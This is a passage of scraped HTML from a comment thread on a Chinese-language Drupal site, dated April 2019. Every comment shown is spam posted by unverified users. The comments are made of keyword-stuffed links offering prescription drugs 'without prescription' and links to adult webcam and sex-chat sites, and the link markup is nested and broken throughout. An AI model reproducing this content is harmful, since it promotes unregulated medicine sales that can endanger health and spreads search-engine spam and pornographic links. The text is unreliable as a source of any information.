<a href="
<a href='https://buylasixfurosemide.com/">furosemide'>
https://buylasixfurosemide.com/">furosemide
</a>
medication</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/438">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-457">
</a>
<div about="/comment/457#comment-457" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
JasonHag (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T08:41:17+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 08:41
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/457#comment-457" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/457#comment-457" rel="bookmark">
bulkwzoc
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://lasix911.com/">lasix</a>'>
https://lasix911.com/">lasix</a>
</a>
<a href="
<a href='https://propecia8.com/">generic'>
https://propecia8.com/">generic
</a>
propecia uk</a> <a href="
<a href='https://sildenafil75.com/">sildenafil</a>'>
https://sildenafil75.com/">sildenafil</a>
</a>
<a href="
<a href='https://synthroid75.com/">synthroid'>
https://synthroid75.com/">synthroid
</a>
without prescription</a> <a href="
<a href='https://doxycycline1.com/">doxycycline'>
https://doxycycline1.com/">doxycycline
</a>
50mg</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/457">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-538">
</a>
<div about="/comment/538#comment-538" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Webcam Strippers (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T09:25:13+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 09:25
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/538#comment-538" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/538#comment-538" rel="bookmark">
csbydfcb
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://freeadultchat.cf/">free'>
https://freeadultchat.cf/">free
</a>
adult chat</a> <a href="
<a href='https://slutcams.stream/">adult'>
https://slutcams.stream/">adult
</a>
sex chat</a> <a href="
<a href='https://webcamteens.site/">webcam'>
https://webcamteens.site/">webcam
</a>
teens</a> <a href="
<a href='https://freeadultvideochat.fun/">good'>
https://freeadultvideochat.fun/">good
</a>
chat rooms</a> <a href="
<a href='https://adultchatrooms.cf/">adult'>
https://adultchatrooms.cf/">adult
</a>
chat rooms.com</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/538">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-612">
</a>
<div about="/comment/612#comment-612" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
SamKix (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T09:57:24+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 09:57
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/612#comment-612" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/612#comment-612" rel="bookmark">
locnohqg
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://buyrobaxinonline.com/">robaxin'>
https://buyrobaxinonline.com/">robaxin
</a>
online</a> <a href="
<a href='https://buyacyclovirnoprescription.com/">buy'>
https://buyacyclovirnoprescription.com/">buy
</a>
acyclovir without prescription</a> <a href="
<a href='https://prednisone911.com/">prednisone</a>'>
https://prednisone911.com/">prednisone</a>
</a>
<a href="
<a href='https://buyamoxicillinwithoutprescription.com/">amoxicillin'>
https://buyamoxicillinwithoutprescription.com/">amoxicillin
</a>
without prescription</a> <a href="
<a href='https://tadalafil20tab.com/">tadalafil</a>'>
https://tadalafil20tab.com/">tadalafil</a>
</a>
<a href="
<a href='https://femaleviagra5.com/">where'>
https://femaleviagra5.com/">where
</a>
to buy female viagra</a> <a href="
<a href='https://tadalafil24.com/">tadalafil</a>'>
https://tadalafil24.com/">tadalafil</a>
</a>
<a href="
<a href='https://albuterol24.com/">albuterol'>
https://albuterol24.com/">albuterol
</a>
ventolin</a> <a href="
<a href='https://acyclovir1.com/">acyclovir</a>'>
https://acyclovir1.com/">acyclovir</a>
</a>
<a href="
<a href='https://stromectolonline.com/">cheap'>
https://stromectolonline.com/">cheap
</a>
stromectol</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/612">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-613">
</a>
<div about="/comment/613#comment-613" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
inwavy (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T09:57:56+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 09:57
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/613#comment-613" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/613#comment-613" rel="bookmark">
ktke
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://coronadomainstreet.org/">paxil</a>'>
https://coronadomainstreet.org/">paxil</a>
</a>
<a href="
<a href='https://cleaningservicesmalta.com/">baclofen'>
https://cleaningservicesmalta.com/">baclofen
</a>
buy</a> <a href="
<a href='https://harshduty.com/">proscar'>
https://harshduty.com/">proscar
</a>
finasteride</a> <a href="
<a href='https://anxietysociety.org.uk/">phenergan'>
https://anxietysociety.org.uk/">phenergan
</a>
vc</a> <a href="
<a href='https://agirenseignement.org/">generic'>
https://agirenseignement.org/">generic
</a>
avodart</a> <a href="
<a href='https://americantruthbomb.com/">atenolol'>
https://americantruthbomb.com/">atenolol
</a>
50 mg</a> <a href="
<a href='https://owenmattson.com/">allopurinol'>
https://owenmattson.com/">allopurinol
</a>
drug</a> <a href="
<a href='https://choicesmartsforresults.com/">sildenafil</a>'>
https://choicesmartsforresults.com/">sildenafil</a>
</a>
<a href="
<a href='https://1videomarketing.com/">generic'>
https://1videomarketing.com/">generic
</a>
ampicillin</a> <a href="
<a href='https://goodlove.pe/">cafergot'>
https://goodlove.pe/">cafergot
</a>
pills</a> <a href="
<a href='https://blueglassworks.co.uk/">dapoxetine'>
https://blueglassworks.co.uk/">dapoxetine
</a>
hydrochloride</a> <a href="
<a href='https://annadixon.com.au/">cost'>
https://annadixon.com.au/">cost
</a>
of benicar</a> <a href="
<a href='https://itonteknik.se/">lisinopril'>
https://itonteknik.se/">lisinopril
</a>
no prescription</a> <a href="
<a href='https://cobraradio.org/">where'>
https://cobraradio.org/">where
</a>
can i buy albendazole</a> <a href="
<a href='https://dastina.com.br/">nolvadex'>
https://dastina.com.br/">nolvadex
</a>
tamoxifen citrate</a> <a href="
<a href='https://bizhomebiz.com/">cost'>
https://bizhomebiz.com/">cost
</a>
of clomid</a> <a href="
<a href='https://darkart.io/">seroquel</a>'>
https://darkart.io/">seroquel</a>
</a>
<a href="
<a href='https://alifeonthelean.com/">lexapro</a>'>
https://alifeonthelean.com/">lexapro</a>
</a>
<a href="
<a href='https://nativebits.com/">proscar'>
https://nativebits.com/">proscar
</a>
drug</a> <a href="
<a href='https://hairtospare.com.au/">estrace'>
https://hairtospare.com.au/">estrace
</a>
pills</a> <a href="
<a href='https://agirpourlenseignementasbl.org/">order'>
https://agirpourlenseignementasbl.org/">order
</a>
deltasone</a> <a href="
<a href='https://holisticglow.life/">buy'>
https://holisticglow.life/">buy
</a>
colchicine 0.6 mg</a> <a href="
<a href='https://global-oakland.org/">dapoxetine</a>'>
https://global-oakland.org/">dapoxetine</a>
</a>
<a href="
<a href='https://comatec.sa/">fluoxetine'>
https://comatec.sa/">fluoxetine
</a>
10mg</a> <a href="
<a href='https://carry.blue/">valtrex</a>'>
https://carry.blue/">valtrex</a>
</a>
<a href="
<a href='https://bundlesofjoi.net/">aldactone'>
https://bundlesofjoi.net/">aldactone
</a>
100mg</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/613">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-617">
</a>
<div about="/comment/617#comment-617" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
IvyHag (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T10:00:29+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 10:00
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/617#comment-617" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/617#comment-617" rel="bookmark">
gsyjjiyk
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://buyamoxicillinwithoutprescription.com/">amoxicillin'>
https://buyamoxicillinwithoutprescription.com/">amoxicillin
</a>
500 mg without prescription</a> <a href="
<a href='https://lasix0.com/">lasix'>
https://lasix0.com/">lasix
</a>
pill</a> <a href="
<a href='https://viagrasoftonline.com/">viagra'>
https://viagrasoftonline.com/">viagra
</a>
soft</a> <a href="
<a href='https://tadalafil20tab.com/">tadalafil'>
https://tadalafil20tab.com/">tadalafil
</a>
tablets 20 mg</a> <a href="
<a href='https://femaleviagra5.com/">female'>
https://femaleviagra5.com/">female
</a>
viagra</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/617">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-619">
</a>
<div about="/comment/619#comment-619" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Chat With Sluts (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T10:00:36+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 10:00
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/619#comment-619" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/619#comment-619" rel="bookmark">
vtrqjdnv
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://chatporn.site/">adult'>
https://chatporn.site/">adult
</a>
chat</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/619">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-671">
</a>
<div about="/comment/671#comment-671" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Ambime (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T10:19:23+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 10:19
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/671#comment-671" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/671#comment-671" rel="bookmark">
jazj
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://pruefungsangst-hilfe.de/">cephalexin</a>'>
https://pruefungsangst-hilfe.de/">cephalexin</a>
</a>
<a href="
<a href='https://h3global.org/">plavix</a>'>
https://h3global.org/">plavix</a>
</a>
<a href="
<a href='https://clevermobilenergy.com/">vardenafil</a>'>
https://clevermobilenergy.com/">vardenafil</a>
</a>
<a href="
<a href='https://computercomponentsonline.co.uk/">fluoxetine'>
https://computercomponentsonline.co.uk/">fluoxetine
</a>
hydrochloride</a> <a href="
<a href='https://ashantibiz.com/">benicar</a>'>
https://ashantibiz.com/">benicar</a>
</a>
<a href="
<a href='https://firsthome.finance/">propecia</a>'>
https://firsthome.finance/">propecia</a>
</a>
<a href="
<a href='https://shippist.us/">cheap'>
https://shippist.us/">cheap
</a>
neurontin</a> <a href="
<a href='https://debt-collectionagency.com/">lisinopril'>
https://debt-collectionagency.com/">lisinopril
</a>
tablets</a> <a href="
<a href='https://fetconnect.nl/">cheap'>
https://fetconnect.nl/">cheap
</a>
vermox</a> <a href="
<a href='https://ewjutyloki.website/">buy'>
https://ewjutyloki.website/">buy
</a>
fluoxetine</a> <a href="
<a href='https://amangandhifilmproductions.com/">zyban</a>'>
https://amangandhifilmproductions.com/">zyban</a>
</a>
<a href="
<a href='https://anaiahdurand.com/">hydrochlorothiazide</a>'>
https://anaiahdurand.com/">hydrochlorothiazide</a>
</a>
<a href="
<a href='https://debugpal.com/">20mg'>
https://debugpal.com/">20mg
</a>
cialis</a> <a href="
<a href='https://americancouncilofvedicastrology.net/">deltasone'>
https://americancouncilofvedicastrology.net/">deltasone
</a>
5 mg</a> <a href="
<a href='https://dutchessherb.net/">metformin'>
https://dutchessherb.net/">metformin
</a>
cost</a> <a href="
<a href='https://hashtrade.biz/">lexapro'>
https://hashtrade.biz/">lexapro
</a>
pill</a> <a href="
<a href='https://kirstyandoliver.co.uk/">zoloft</a>'>
https://kirstyandoliver.co.uk/">zoloft</a>
</a>
<a href="
<a href='https://bundlesofjoi.net/">aldactone</a>'>
https://bundlesofjoi.net/">aldactone</a>
</a>
<a href="
<a href='https://79rocks.solutions/">buy'>
https://79rocks.solutions/">buy
</a>
avana</a> <a href="
<a href='https://999fabrics.co.uk/">tadacip</a>'>
https://999fabrics.co.uk/">tadacip</a>
</a>
<a href="
<a href='https://beprepared.institute/">buy'>
https://beprepared.institute/">buy
</a>
zanaflex</a> <a href="
<a href='https://creditcardprocessing.online/">amitriptyline'>
https://creditcardprocessing.online/">amitriptyline
</a>
generic</a> <a href="
<a href='https://dogwalkers.com.br/">diflucan</a>'>
https://dogwalkers.com.br/">diflucan</a>
</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/671">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-717">
</a>
<div about="/comment/717#comment-717" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Free Webcam Sex... (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T10:45:06+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 10:45
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/717#comment-717" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/717#comment-717" rel="bookmark">
subosowq
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://freeadultwebcamchatrooms.site/">free'>
https://freeadultwebcamchatrooms.site/">free
</a>
adult webcam chat</a> <a href="
<a href='https://camsites.stream/">cam'>
https://camsites.stream/">cam
</a>
com.goodass cam girl</a> <a href="
<a href='https://sextalk.site/">webcam'>
https://sextalk.site/">webcam
</a>
sex</a> <a href="
<a href='https://adultcams.icu/">adult'>
https://adultcams.icu/">adult
</a>
cam</a> <a href="
<a href='https://adultwebcamchat.stream/">bbwcams</a>'>
https://adultwebcamchat.stream/">bbwcams</a>
</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/717">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-782">
</a>
<div about="/comment/782#comment-782" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
inwavy (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T11:20:30+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 11:20
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/782#comment-782" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/782#comment-782" rel="bookmark">
imsj
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://artesania.shop/">clomid'>
https://artesania.shop/">clomid
</a>
pill</a> <a href="
<a href='https://brichetedinpaie.ro/">cephalexin'>
https://brichetedinpaie.ro/">cephalexin
</a>
drug</a> <a href="
<a href='https://belowcloseout.com/">atenolol'>
https://belowcloseout.com/">atenolol
</a>
prices</a> <a href="
<a href='https://evlux.us/">estrace'>
https://evlux.us/">estrace
</a>
cost</a> <a href="
<a href='https://calimedcannabis.com/">doxycycline'>
https://calimedcannabis.com/">doxycycline
</a>
hyc</a> <a href="
<a href='https://glasswage.com/">cipro</a>'>
https://glasswage.com/">cipro</a>
</a>
<a href="
<a href='https://kaylutas.com/">abilify'>
https://kaylutas.com/">abilify
</a>
drug</a> <a href="
<a href='https://artofshifting.com/">tamoxifen'>
https://artofshifting.com/">tamoxifen
</a>
nolvadex</a> <a href="
<a href='https://driveforward.today/">robaxin'>
https://driveforward.today/">robaxin
</a>
pills</a> <a href="
<a href='https://clickerly.net/">get'>
https://clickerly.net/">get
</a>
prozac online</a> <a href="
<a href='https://bc-creations.info/">cleocin'>
https://bc-creations.info/">cleocin
</a>
for uti</a> <a href="
<a href='https://artificialgrassinstallationservice.com/">cial</a>'>
https://artificialgrassinstallationservice.com/">cial</a>
</a>
<a href="
<a href='https://claimyourdent.xyz/">viagra</a>'>
https://claimyourdent.xyz/">viagra</a>
</a>
<a href="
<a href='https://buildworthpropertymanagement.com/">valtrex</a>'>
https://buildworthpropertymanagement.com/">valtrex</a>
</a>
<a href="
<a href='https://abruzzotaste.com/">ampicillin'>
https://abruzzotaste.com/">ampicillin
</a>
500</a> <a href="
<a href='https://cornellcompanies.net/">cialis'>
https://cornellcompanies.net/">cialis
</a>
soft</a> <a href="
<a href='https://dinamera.se/">valtrex</a>'>
https://dinamera.se/">valtrex</a>
</a>
<a href="
<a href='https://australianhotels.club/">clomid'>
https://australianhotels.club/">clomid
</a>
drug</a> <a href="
<a href='https://debt-collectionagency.com/">lisinopril</a>'>
https://debt-collectionagency.com/">lisinopril</a>
</a>
<a href="
<a href='https://fancyrange.com/">benicar'>
https://fancyrange.com/">benicar
</a>
hctz</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/782">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-855">
</a>
<div about="/comment/855#comment-855" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
MiaKix (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T12:00:41+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 12:00
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/855#comment-855" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/855#comment-855" rel="bookmark">
yicubeec
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='http://lisinoprilzestril.com/">lisinopril</a>'>
http://lisinoprilzestril.com/">lisinopril</a>
</a>
<a href="
<a href='http://ventolinhfainhalers.com/">buy'>
http://ventolinhfainhalers.com/">buy
</a>
ventolin inhaler online</a> <a href="
<a href='http://cheapprednisolone.com/">prednisolone</a>'>
http://cheapprednisolone.com/">prednisolone</a>
</a>
<a href="
<a href='http://femaleviagra5.com/">viagra'>
http://femaleviagra5.com/">viagra
</a>
in women</a> <a href="
<a href='http://lisinopril0.com/">lisinopril</a>'>
http://lisinopril0.com/">lisinopril</a>
</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/855">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-857">
</a>
<div about="/comment/857#comment-857" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Free Sex Cam Chat (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T12:00:57+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 12:00
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/857#comment-857" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/857#comment-857" rel="bookmark">
bvgiefto
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://freelivesexchat.site/">porn'>
https://freelivesexchat.site/">porn
</a>
live</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/857">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-862">
</a>
<div about="/comment/862#comment-862" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Ambime (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T12:04:26+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 12:04
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/862#comment-862" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/862#comment-862" rel="bookmark">
gajl
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://fast5ive.com/">generic'>
https://fast5ive.com/">generic
</a>
for buspar</a> <a href="
<a href='https://atlantachimneycleaning.com/">toprol'>
https://atlantachimneycleaning.com/">toprol
</a>
xl 50 mg tablets</a> <a href="
<a href='https://cashjet.co/">buspirone'>
https://cashjet.co/">buspirone
</a>
pill</a> <a href="
<a href='https://lusciousmojo.net/">where'>
https://lusciousmojo.net/">where
</a>
to buy stromectol</a> <a href="
<a href='https://cavitus.ch/">lexapro'>
https://cavitus.ch/">lexapro
</a>
prices</a> <a href="
<a href='https://givegetter.net/">prednisolone'>
https://givegetter.net/">prednisolone
</a>
5mg</a> <a href="
<a href='https://sfeoh.com/">tetracycline</a>'>
https://sfeoh.com/">tetracycline</a>
</a>
<a href="
<a href='https://inticorner.com/">robaxin'>
https://inticorner.com/">robaxin
</a>
500</a> <a href="
<a href='https://flawlessfinishdetailing.com/">generic'>
https://flawlessfinishdetailing.com/">generic
</a>
bupropion xl</a> <a href="
<a href='https://chewyhueydoodah.life/">female'>
https://chewyhueydoodah.life/">female
</a>
viagra</a> <a href="
<a href='https://adambaig.com/">neurontin'>
https://adambaig.com/">neurontin
</a>
price</a> <a href="
<a href='https://maximumautocredit.net/">lasix</a>'>
https://maximumautocredit.net/">lasix</a>
</a>
<a href="
<a href='https://debt-collectionagency.com/">lisinopril</a>'>
https://debt-collectionagency.com/">lisinopril</a>
</a>
<a href="
<a href='https://cetinaltayshow.com/">tadalafil'>
https://cetinaltayshow.com/">tadalafil
</a>
5 mg</a> <a href="
<a href='https://cookiematter.com/">100'>
https://cookiematter.com/">100
</a>
mg furosemide</a> <a href="
<a href='https://beyondclassicrock.com/">by'>
https://beyondclassicrock.com/">by
</a>
prozac</a> <a href="
<a href='https://greatergen.com/">toradol</a>'>
https://greatergen.com/">toradol</a>
</a>
<a href="
<a href='https://relevantsitecontent.com/">wellbutrin</a>'>
https://relevantsitecontent.com/">wellbutrin</a>
</a>
<a href="
<a href='https://90daycontentcure.com/">generic'>
https://90daycontentcure.com/">generic
</a>
dapoxetine</a> <a href="
<a href='https://hyipservices.co/">benicar'>
https://hyipservices.co/">benicar
</a>
price</a> <a href="
<a href='https://anti-agingcreations.com/">buspirone'>
https://anti-agingcreations.com/">buspirone
</a>
10 mg</a> <a href="
<a href='https://americancenterfordistanceeducation.org/">atenolol'>
https://americancenterfordistanceeducation.org/">atenolol
</a>
50mg</a> <a href="
<a href='https://alkohol-market.cz/">aldactone</a>'>
https://alkohol-market.cz/">aldactone</a>
</a>
<a href="
<a href='https://colegioavemaria.org/">generic'>
https://colegioavemaria.org/">generic
</a>
buspar</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/862">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-877">
</a>
